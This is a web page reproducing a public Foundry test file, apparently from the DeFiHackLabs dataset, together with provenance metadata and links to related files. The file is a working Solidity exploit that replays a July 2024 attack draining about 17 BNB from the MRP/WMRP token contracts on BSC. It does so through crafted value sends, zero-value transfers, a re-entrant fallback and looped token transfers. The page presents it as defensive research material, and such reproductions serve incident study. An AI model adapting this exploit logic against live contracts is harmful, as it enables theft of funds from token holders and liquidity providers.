Public reproduction file
src/test/2024-07/MRP_exp.sol
Public reproduction file for dataset entry MRP.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo -- Total Lost : ~17 BNB8// TX : https://app.blocksec.com/explorer/tx/bsc/0x4353a6d37e95a0844f511f0ea9300ef3081130b24f0cf7a4bd1cae26ec3931019// Attacker : https://bscscan.com/address/0x132d9bbdbe718365af6cc9e43bac109a9a53b13810// Attack Contract : https://bscscan.com/address/0x2bd8980a925e6f5a910be8cc0ad1cff663e62d9d13contract Exploit is Test {14 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);15 IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);16 IERC20 WMRP = IERC20(0x35F5cEf517317694DF8c50C894080caA8c92AF7D);17 IERC20 MRP = IERC20(0xA0Ba9d82014B33137B195b5753F3BC8Bf15700a3);19 function setUp() public {20 cheats.createSelectFork("bsc", 40_122_169);21 }23 function testExploit() public {24 emit log_named_decimal_uint("[Begin] Attacker BNB before exploit", address(this).balance, 18);25 attack();26 emit log_named_decimal_uint("[End] Attacker BNB after exploit", address(this).balance, 18);27 }29 function attack() public {30 address(WMRP).call{value: 43.14 ether}("");31 WMRP.transfer(address(WMRP), 0);32 MRP.transfer(address(WMRP), MRP.balanceOf(address(this)));33 address(WMRP).call{value: 58 ether}("");34 WMRP.transfer(address(this), 0);35 MRP.transfer(address(WMRP), 1268 ether);36 WMRP.transfer(address(WMRP), 0);37 emit log_named_decimal_uint("attacker MRP balance :", MRP.balanceOf(address(this)), MRP.decimals());38 require(MRP.balanceOf(address(this)) >= 6000 ether, "The attack is invalid.");39 uint256 Transferamount = MRP.balanceOf(address(this)) / 20;40 uint256 i = 0;41 while (i < 20) {42 MRP.transfer(address(MRP), Transferamount);43 i++;44 }45 }47 fallback() external payable {48 if (msg.value > 50 ether && msg.value < 100 ether) {49 address(WMRP).call{value: 58 ether}("");50 }51 }53 function on314Swaper() public returns (bytes4) {54 bytes4 selector = bytes4(msg.data);55 if (selector == 0x1457b0ed) {56 return 0x0000000;57 }58 revert("no such function");59 }60}Analysis
Dataset entry
Public Foundry test for “MRP” (2024-07-02). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
11 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-07/DeFiPlaza_exp.solSame month in the dataset · 319 lines
- src/test/2024-07/DoughFina_exp.solSame month in the dataset · 92 lines
- src/test/2024-07/GAX_exp.solSame month in the dataset · 36 lines
- src/test/2024-07/Lifiprotocol_exp.solSame month in the dataset · 131 lines
- src/test/2024-07/LW_exp.solSame month in the dataset · 64 lines
- src/test/2024-07/MEVbot_0xdd7c_exp.solSame month in the dataset · 128 lines
- src/test/2024-07/Minterest_exp.solSame month in the dataset · 151 lines
- src/test/2024-07/SBT_exp.solSame month in the dataset · 53 lines
- src/test/2024-07/Spectra_finance_exp.solSame month in the dataset · 52 lines
- src/test/2024-07/UnverifiedContr_0x452E25_exp.solSame month in the dataset · 31 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x132d9bbdbe718365af6cc9e43bac109a9a53b138
- Attack Contract
0x2bd8980a925e6f5a910be8cc0ad1cff663e62d9d
File record
- Name
- MRP
- Path
- src/test/2024-07/MRP_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- ed62b11f6ee24b75f47241eaa11402c649887160
- Language
- Solidity
- Size
- 61 lines
- Date
- 2024-07-02
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-07/MRP_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ed62b11f6ee24b75f47241eaa11402c649887160, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.